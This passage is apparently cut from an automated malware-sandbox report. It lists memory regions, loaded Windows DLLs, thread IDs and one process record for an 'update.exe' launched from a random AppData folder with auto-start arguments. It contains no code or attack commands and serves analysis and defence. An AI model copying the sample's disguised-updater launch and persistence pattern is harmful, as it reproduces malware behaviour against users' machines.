0x7fefdd11fff entry_point = 0x7fefdcc0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2017 start_va = 0x7fefdda0000 end_va = 0x7fefdfa2fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2018 start_va = 0x7fefdfb0000 end_va = 0x7fefe086fff entry_point = 0x7fefdfb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2019 start_va = 0x7fefe090000 end_va = 0x7fefe097fff entry_point = 0x7fefe090000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2020 start_va = 0x7fefe0a0000 end_va = 0x7fefe0cdfff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2021 start_va = 0x7fefe0d0000 end_va = 0x7fefe1aafff entry_point = 0x7fefe0d0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2022 start_va = 0x7fefe1b0000 end_va = 0x7fefe2dcfff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2023 start_va = 0x7fefe460000 end_va = 0x7fefe46dfff entry_point = 0x7fefe460000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2024 start_va = 0x7fefe470000 end_va = 0x7fefe50efff entry_point = 0x7fefe470000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2025 start_va = 0x7fefe640000 end_va = 0x7fefe65efff entry_point = 0x7fefe640000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2026 start_va = 0x7fefe660000 end_va = 0x7fefe728fff entry_point = 0x7fefe660000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2027 start_va = 0x7fefe730000 end_va = 0x7fefe838fff entry_point = 0x7fefe730000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2028 start_va = 0x7feff7d0000 end_va = 0x7feff840fff entry_point = 0x7feff7d0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2029 start_va = 0x7feff850000 end_va = 0x7feff8b6fff entry_point = 0x7feff850000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2030 start_va = 0x7feffbd0000 end_va = 0x7feffbd0fff entry_point = 0x7feffbd0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2031 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2032 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2033 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2034 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2035 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2036 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2037 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2038 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2039 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2040 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2041 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2042 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2043 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2044 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2045 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2046 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2047 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2048 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2049 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2050 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2051 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2052 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2053 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2054 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2055 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 111 os_tid = 0x600 Thread: id = 112 os_tid = 0x7d0 Thread: id = 113 os_tid = 0x7cc Thread: id = 114 os_tid = 0x7c4 Thread: id = 115 os_tid = 0x7c0 Thread: id = 116 os_tid = 0x7a4 Thread: id = 117 os_tid = 0x6e0 Thread: id = 118 os_tid = 0x6d4 Thread: id = 119 os_tid = 0x6d0 Thread: id = 120 os_tid = 0x6cc Thread: id = 121 os_tid = 0x6c8 Thread: id = 122 os_tid = 0x6c4 Thread: id = 123 os_tid = 0x6b4 Thread: id = 124 os_tid = 0x690 Thread: id = 125 os_tid = 0x688 Thread: id = 126 os_tid = 0x680 Thread: id = 127 os_tid = 0x650 Thread: id = 128 os_tid = 0x5e0 Thread: id = 129 os_tid = 0x594 Thread: id = 130 os_tid = 0x568 Thread: id = 131 os_tid = 0x564 Thread: id = 132 os_tid = 0x558 Thread: id = 133 os_tid = 0x550 Thread: id = 142 os_tid = 0x5a0 Thread: id = 144 os_tid = 0x588 Thread: id = 204 os_tid = 0x704 Thread: id = 207 os_tid = 0x37c Thread: id = 208 os_tid = 0x268 Process: id = "18" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" page_root = "0x7015a000" os_pid = "0x7f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x68c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --ForNetRes 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40 IsAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2077 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2078 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2079 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2080 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2081 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2082 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2083 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") Region: id = 2084 start_va = 0x778b0000 end_va = 0x77a58fff entry_point = 0x778b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2085 start_va = 0x77a90000 end_va = 0x77c0ffff entry_point = 0x77a90000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2086 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2087 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2088 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 2089 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 2090 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 2091 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 2092 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 2093 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2094 start_va = 0x73ff0000 end_va = 0x7404bfff entry_point = 0x73ff0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2095 start_va = 0x754a0000 end_va = 0x754a7fff entry_point = 0x754a0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2096 start_va = 0x754b0000 end_va = 0x754eefff entry_point = 0x754b0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2097 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2098 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2099 start_va = 0x680000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 2100 start_va = 0x755e0000 end_va = 0x755ebfff entry_point = 0x755e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2101 start_va = 0x755f0000 end_va = 0x7564ffff entry_point = 0x755f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2102 start_va = 0x75720000 end_va = 0x757bffff entry_point = 0x75720000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2103 start_va = 0x75b30000 end_va = 0x75bccfff entry_point = 0x75b30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2104 start_va = 0x75d90000 end_va = 0x75e3bfff entry_point = 0x75d90000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2105 start_va = 0x75e40000 end_va = 0x75e49fff entry_point = 0x75e40000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2106 start_va = 0x75e50000 end_va = 0x75f4ffff entry_point = 0x75e50000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2107 start_va = 0x75f50000 end_va = 0x75f95fff entry_point = 0x75f50000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2108 start_va = 0x76ea0000 end_va = 0x76eb8fff entry_point = 0x76ea0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2109 start_va = 0x77150000 end_va = 0x7723ffff entry_point = 0x77150000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2110 start_va = 0x77290000 end_va = 0x7731ffff entry_point = 0x77290000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2111 start_va = 0x773e0000 end_va = 0x774effff entry_point = 0x773e0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2112 start_va = 0x77690000 end_va = 0x777aefff entry_point = 0x0 region_type = private name = "private_0x0000000077690000" filename = "" Region: id = 2113 start_va = 0x777b0000 end_va = 0x778a9fff entry_point = 0x0 region_type = private name = "private_0x00000000777b0000" filename = "" Region: id = 2114 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2115 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2116 start_va = 0x753a0000 end_va = 0x753a4fff entry_point = 0x753a0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 2157 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2158 start_va = 0x780000 end_va = 0x907fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2159 start_va = 0x75650000 end_va = 0x7571bfff entry_point = 0x75650000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2160 start_va = 0x75d30000 end_va = 0x75d8ffff entry_point = 0x75d30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2161 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2162 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2163 start_va = 0x210000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2164 start_va = 0x910000 end_va = 0xa90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2165 start_va = 0xaa0000 end_va = 0x1e9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 2256 start_va = 0x210000 end_va = 0x214fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 2257 start_va = 0x330000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 2377 start_va = 0x210000 end_va = 0x25efff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2683 start_va = 0x75380000 end_va = 0x75391fff entry_point = 0x75380000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2684 start_va = 0x75810000 end_va = 0x7596bfff entry_point = 0x75810000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2685 start_va = 0x75970000 end_va = 0x7597bfff entry_point = 0x75970000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2686 start_va = 0x75980000 end_va = 0x75a9cfff entry_point = 0x75980000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2687 start_va = 0x75bd0000 end_va = 0x75cc4fff entry_point = 0x75bd0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2688 start_va = 0x76c40000 end_va = 0x76e3afff entry_point = 0x76c40000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2689 start_va = 0x76e40000 end_va = 0x76e96fff entry_point = 0x76e40000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2690 start_va = 0x76ec0000 end_va = 0x76ff5fff entry_point = 0x76ec0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2691 start_va = 0x77000000 end_va = 0x7708efff entry_point = 0x77000000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2692 start_va = 0x75340000 end_va = 0x75371fff entry_point = 0x75340000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2693 start_va = 0x75fa0000 end_va = 0x76be9fff entry_point = 0x75fa0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2694 start_va = 0x75310000 end_va = 0x75316fff entry_point = 0x75310000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2695 start_va = 0x75320000 end_va = 0x7533bfff entry_point = 0x75320000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2696 start_va = 0x77a60000 end_va = 0x77a65fff entry_point = 0x77a60000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2697 start_va = 0x757d0000 end_va = 0x75804fff entry_point = 0x757d0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2698 start_va = 0x752c0000 end_va = 0x75303fff entry_point = 0x752c0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2699 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2700 start_va = 0x75200000 end_va = 0x752befff entry_point = 0x75200000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 2701 start_va = 0x2080000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2702 start_va = 0x770c0000 end_va = 0x770c4fff entry_point = 0x770c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2703 start_va = 0x2090000 end_va = 0x235efff entry_point = 0x2090000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2704 start_va = 0x270000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2705 start_va = 0x4a0000 end_va = 0x59ffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 2706 start_va = 0x751c0000 end_va = 0x751d5fff entry_point = 0x751c0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2707 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 2708 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2709 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2710 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2711 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2712 start_va = 0x2b0000 end_va = 0x2ebfff entry_point = 0x2b0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2713 start_va = 0x75180000 end_va = 0x751bafff entry_point = 0x75180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2714 start_va = 0x73dd0000 end_va = 0x73e4ffff entry_point = 0x73dd0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2715 start_va = 0x1ea0000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2716 start_va = 0x1f80000 end_va = 0x205efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Region: id = 2717 start_va = 0x73640000 end_va = 0x73652fff entry_point = 0x73640000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2719 start_va = 0x210000 end_va = 0x216fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 2720 start_va = 0x220000 end_va = 0x221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2721 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2722 start_va = 0x2360000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 2723 start_va = 0x2460000 end_va = 0x2852fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002460000" filename = "" Region: id = 2724 start_va = 0x74d40000 end_va = 0x74d47fff entry_point = 0x74d40000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 2725 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 2727 start_va = 0x74d10000 end_va = 0x74d38fff entry_point = 0x74d10000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2729 start_va = 0x74cf0000 end_va = 0x74d03fff entry_point = 0x74cf0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 2732 start_va = 0x74cd0000 end_va = 0x74ce6fff entry_point = 0x74cd0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 2737 start_va = 0x74cc0000 end_va = 0x74cc7fff entry_point = 0x74cc0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 2740 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2741 start_va = 0x2860000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2742 start_va = 0xfffad000 end_va = 0xfffaffff entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 2743 start_va = 0x74cb0000 end_va = 0x74cbefff entry_point = 0x74cb0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2747 start_va = 0x340000 end_va = 0x37ffff 